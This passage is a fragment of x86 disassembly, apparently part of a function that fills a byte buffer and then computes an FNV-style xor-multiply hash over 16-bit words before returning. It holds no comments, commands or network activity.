and edi, ebp
xor ebp, esi
lea edx, [edi*2]
add edx, ebp
inc dl
mov byte [esp + ebx + 0x6b36172b], dl
inc ebx
cmp ebx, 0x94c9e8d9
jne 0x4334e0
mov edx, dword [esp + 8]
cmp dword [esp + 0xc], edx
je 0x433592
mov esi, dword [esp]
mov edx, dword [esp + 4]
sar edx, 1
lea edi, [edx - 1]
mov ebx, edx
and ebx, 3
je 0x433551
mov ebp, eax
nop
nop
nop
dec edx
movzx eax, word [ecx]
add ecx, 2
xor eax, ebp
imul eax, esi
mov ebp, eax
dec ebx
jne 0x433540
cmp edi, 3
jb 0x433592
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
movzx edx, word [ecx + edi*2]
xor edx, eax
imul edx, esi
movzx eax, word [ecx + edi*2 + 2]
xor eax, edx
imul eax, esi
movzx edx, word [ecx + edi*2 + 4]
xor edx, eax
imul edx, esi
movzx eax, word [ecx + edi*2 + 6]
xor eax, edx
mov edx, ebx
imul eax, esi
add edi, 4
cmp ebx, edi
jne 0x433560
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret